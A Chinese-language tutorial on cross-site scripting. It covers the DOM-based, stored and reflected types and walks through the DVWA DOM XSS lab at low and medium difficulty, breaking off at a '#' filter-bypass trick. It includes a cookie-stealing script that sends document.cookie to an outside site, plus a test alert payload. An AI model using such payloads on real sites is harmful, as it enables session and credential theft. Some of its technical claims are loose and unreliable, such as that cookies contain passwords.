一,定义

一般是由于在网页开发的时候会有一些扩展,恶意用户可以根据突破将自己的代码注入到网页里面,使用户在打开网页的时候也会执行恶意代码

二,恶意代码的语言类型

JavaScript,HTML等用户端语言

三,xss的三种基本类型

1,基于DOM的XSS(基于WebDOM结构的攻击)(文档对象模型,DOM)

什么是DOM?:它可以重新建立网页页面和脚本或程序语言连接起来。

DOM Base XSS图鉴

通过本身的对象模型,JavaScript可以有足够的能力创建HTML

JavaScript能够改变页面中的所有HTML元素

JavaScript能够更改页面中的所有HTML属性

JavaScript能够更改页面中的所有CSS样式

JavaScript能够对页面中的所有事件做出反应

在DOM中查找HTML元素的最简单的方法,是通过使用元素的id。

受害对象:用户

攻击手段:网页的内容是根据一个参数里面的内容实现的(参数调用数据库里面的内容)

攻击方法:将参数后面原本属于调用数据库的语句换成进入其他网站的语句,例如:http://www.a.com?content = <script> window.open(“ www.b.com?param= ” + document.cookie)</ script>  (加粗的部分是被替换的参数内容)

在登陆的时候如果登陆的是a.com网站,那么他会跳到b.com网站并且将他的cookie发送给我(注意,cookie中含有密码)这个时候我就有可能得到受害者的密码

2,存储XSS(存储式XSS突破)

受害对象:在一个服务器或数据库里面的用户

攻击工具:攻击脚本被存储到了数据库或文件里面

特点:持久性强。

攻击方法:XSS代码被提交给网站->网站把XSS代码存储进数据库->当该页面再次被请求时,服务器发送已经被植入XSS代码的数据给客户端->客户端执行XSS代码。

例子:黑客撰写的文章包含有恶意的JavaScript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行该恶意的JavaScript代码。黑客把恶意的脚本保存到服务器端。

3,反射型XSS

受害对象:打开恶意URL的用户。(注意:URL里面是不包含恶意代码的)

攻击手段:通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析,执行。

特点:最常用,使用广泛。但是是非持久化。

攻击方法:必须要用户点击特定的链接

攻击手段:简单地把用户输入的数据“反射”给浏览器

4,反射型XSS与DOM型XSS的异同点

相同点:都是对URL进行构造的

不同点:DOM是基于JS的,不需要与服务端进行交互(反射型是要与服务端进行交互的。而反射型XSS是基于URL,将带有恶意代码的URL发给受害者,受害者点击有害URL与服务端进行交互,得到cookie,再发给恶意用户。

( 有关DOM型XSS和反射型XSS的区别详细看链接:https://www.zhihu.com/question/26628342 )

四,XSS DOM实验

1、基于DVWA的DOM XSS实验(低)

没有任何的检查过滤机制,直接输入直接输出,在这里我们就可以使用任意语言类型进行脚本的构建。

localhost/DVWA/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

2、基于DVWA的DOMXSS实验(中)

首先查看源码

里面有几个比较重要的函数:

1. array_key_exists:检查数组里面是否有指定的键名或者索引(仅仅搜索第一维,多维嵌套不会被全部搜索。

2. is_null:用于检测变量是否为NULL。

3. stripos:用于查找字符串在另一字符串第一次出现的位置(不区分大小写)

4. location:将含有查找到的字符串之后的内容全部转化成location后面的东西。在本源码里面讲<script及后面的内容全部转化成”?default=English”

可以判断出这三个函数检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script  ,如果有的话,则将 default=English 。也就是过滤了在URL里面的<script,所以我们再进行普通的构造是不行的。

先将低级别的代码放到搜索框里面去,发现果然<script及后面的内容全部转化成为”?default=English”

就像这样 将<scripr>换成了default=English。

在这里,我们使用#符号,使用该符号使符号后面的数据不会发送到服务器端,从而绕过服务器端过滤